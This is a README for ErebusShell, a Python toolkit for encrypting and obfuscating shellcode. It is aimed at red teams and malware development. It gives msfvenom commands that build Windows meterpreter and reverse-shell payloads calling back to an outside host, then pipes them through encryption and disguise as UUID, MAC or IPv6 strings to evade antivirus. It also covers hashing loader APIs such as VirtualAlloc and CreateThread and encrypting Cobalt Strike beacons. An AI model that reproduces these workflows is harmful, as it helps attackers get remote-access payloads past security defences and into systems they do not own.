ErebusShell is a shellcode encryption and obfuscation toolkit for red team operations and malware development research. It supports various encryption algorithms, obfuscation methods, and output formats, with integration for tools like Metasploit and Cobalt Strike.
- Python 3.8 or higher
- cryptography library (for AES and ChaCha20)
- Clone the repository:
git clone https://github.com/1x0DF0/ErebusShell cd ErebusShell - Install dependencies:
pip install cryptography - On Linux or Mac, make the script executable:
chmod +x erebusshell.py
Run the tool with python erebusshell.py <command> [options].
To encrypt a shellcode file:
python erebusshell.py encrypt payload.bin xor -o encrypted.bin
For RC4 with a custom key:
python erebusshell.py encrypt payload.bin rc4 --key deadbeef12345678
For AES-CBC:
python erebusshell.py encrypt payload.bin aes_cbc -o encrypted.aes
- Generate the payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=443 -f raw > payload.bin - Encrypt it:
python erebusshell.py encrypt payload.bin layered --save-metadata -o encrypted.bin - Output as C array:
python erebusshell.py encrypt payload.bin rc4 -f c > shellcode.h
For UUID format:
python erebusshell.py encrypt payload.bin uuid -o uuids.txt
For MAC address format:
python erebusshell.py encrypt payload.bin mac
For IPv6 format:
python erebusshell.py encrypt payload.bin ipv6 -o ipv6_list.txt
Create a file with API names (e.g., apis.txt):
kernel32.dll
ntdll.dll
VirtualAlloc
VirtualProtect
CreateThread
Generate hashes:
python erebusshell.py hash --api-file apis.txt -o api_hashes.h
python erebusshell.py encrypt [OPTIONS] INPUT METHOD
- INPUT: Input shellcode file
- METHOD: Encryption method (e.g., xor, rc4, aes_cbc)
- Options:
- -o, --output FILE: Output file
- -f, --format FORMAT: Output format (c, python, raw, etc.)
- -k, --key HEX: Use specific key (hex)
- --key-size INT: Key size in bytes (default: 16)
- --readable-key: Generate ASCII readable key
- --compress: Compress before encryption
- --var-name NAME: Variable name for array output
- --key-id ID: Identifier to store key
- --save-metadata: Save metadata to JSON
python erebusshell.py hash [OPTIONS]
- Options:
- --api-file FILE: File containing API names
- --hash-algorithm ALGO: Algorithm (djb2, ror13, fnv1a)
- -o, --output FILE: Output header file
- Encryption: XOR, XOR with feedback, RC4, AES-CBC/CTR, ChaCha20, custom Feistel, layered
- Obfuscation: MAC addresses, IPv4/IPv6, UUID, Base64/Base85, hex
- Output: C arrays, C# arrays, Python arrays, PowerShell arrays, raw binary, Base64/hex strings
- Other: Key management, entropy calculation, optional compression, API hash generation, metadata export
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=443 -f raw | python erebusshell.py encrypt /dev/stdin rc4 -o encrypted.bin
Encrypt exported payloads similarly, e.g.:
python erebusshell.py encrypt beacon.bin layered --save-metadata -o beacon_encrypted.bin
- Store keys securely and use unique keys per operation.
- Test decryption before use.
- For high security, use layered encryption.
Create a test file:
shellcode = b'\x90' * 100 # NOP sled
shellcode += b'\x31\xc0\x50\x68\x2f\x2f\x73\x68' # Example opcodes
with open('test.bin', 'wb') as f:
f.write(shellcode)Encrypt:
python erebusshell.py encrypt test.bin xor --save-metadata
Contributions are welcome via pull requests or issues.
MIT License - see the LICENSE file.
This tool is for educational and authorized security testing only. Comply with all laws; authors are not liable for misuse.